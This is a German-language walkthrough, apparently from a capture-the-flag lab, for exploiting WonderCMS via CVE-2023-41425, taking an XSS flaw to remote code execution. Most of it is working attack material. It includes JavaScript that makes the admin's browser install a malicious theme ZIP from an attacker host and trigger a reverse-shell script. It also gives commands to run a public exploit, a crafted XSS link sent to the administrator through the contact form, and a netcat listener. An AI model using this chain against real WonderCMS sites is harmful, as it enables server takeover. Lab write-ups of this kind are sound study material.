> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/cms/wonder-cms-exploitation.md).

# Wonder

WonderCMS-Exploitation-Notizen für CVE-2023-41425 XSS-zu-RCE, Bereitstellung einer bösartigen ZIP-Payload, Auslösen des Kontaktformulars, Hosting des Exploits und Reverse-Shell-Zugriff.

## Schwachstellen-Wunder /\[CVE-2023-41425]

Die Suche nach CMS-Schwachstellen offenbart ein XSS-zu-RCE-Problem.

{% embed url="<https://github.com/prodigiousMind/CVE-2023-41425?tab=readme-ov-file>" %}

**JavaScript-Code, um eine Shell zu erhalten:**/ Das folgende JavaScript lädt eine bösartige ZIP-Datei mit einem Reverse-Shell-Skript herunter und führt sie auf dem Server aus:

```javascript
// der Server hat Probleme bei der Auflösung des Domainnamens mit JavaScript
// wir können einfach die Ziel-URL als erforderlichen Parameter angeben
var whateverURL = "http://sea.htb"; 
var token = document.querySelectorAll('[name="token"]')[0].value;
// den Pfad der ZIP-Datei anpassen, die über den HTTP-Server bereitgestellt wird
var urlRev = whateverURL+"/?installModule=http://10.10.14.89:8000/whatever.zip&directoryName=violet&type=themes&token=" + token;
var xhr3 = new XMLHttpRequest();
xhr3.withCredentials = true;
xhr3.open("GET", urlRev);
xhr3.send();
xhr3.onload = function() {
 if (xhr3.status == 200) {
   var xhr4 = new XMLHttpRequest();
   xhr4.withCredentials = true;
   // rev.php innerhalb der hochgeladenen ZIP-Datei aufrufen
   xhr4.open("GET", whateverURL+"/themes/whatever/rev.php");
   xhr4.send();
   xhr4.onload = function() {
     if (xhr4.status == 200) {
       var ip = "10.10.14.89";
       var port = "4444";
       var xhr5 = new XMLHttpRequest();
       xhr5.withCredentials = true;
       // Reverse-Shell-Skript auslösen und Listener-IP & -Port angeben
       xhr5.open("GET", whateverURL+"/themes/whatever/rev.php?lhost=" + ip + "&lport=" + port);
       xhr5.send();
     }
   };
 }
};
```

**Installieren des Exploit-Skripts für CVE-2023-41425:**

```bash
git clone https://github.com/prodigiousMind/CVE-2023-41425
cd CVE-2023-41425
```

Führen Sie das Exploit-Skript aus:

```bash
python3 exploit.py http://sea.htb/loginURL 10.10.14.89 4444
```

Das Skript sendet eine Anfrage an den Angreifer-Server auf Port 8000 über `xss.js`, wodurch RCE und Kontrolle über das Ziel ermöglicht werden.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7505b5e2d642f24480a1d66b5fa47fac32186830%2Fimage%20(2274).png?alt=media" alt=""><figcaption></figcaption></figure>

**Abschließender Schritt:**

Senden Sie den XSS-Link an den Administrator über das `contact.php` Formular, um den bösartigen Link auszulösen:

{% code fullWidth="true" %}

```
http://sea.htb/index.php?page=loginURL?"></form><script+src="http://10.10.14.89:8000/xss.js"></script><form+action="
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8a7badabd359f6ac43583778db89d9661df82a79%2Fimage%20(2267).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-03e29c4f6d815d1c8a07a0b04dd8fa3eea041c34%2Fimage%20(2268).png?alt=media" alt=""><figcaption></figcaption></figure>

**Richten Sie einen Netcat-Listener ein:**/ Starten Sie einen Listener auf Port 4444:

```bash
nc -nlvp 4444
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-79a85982bb902979479e1938141c505604f89aca%2Fimage%20(2273).png?alt=media" alt=""><figcaption></figcaption></figure>


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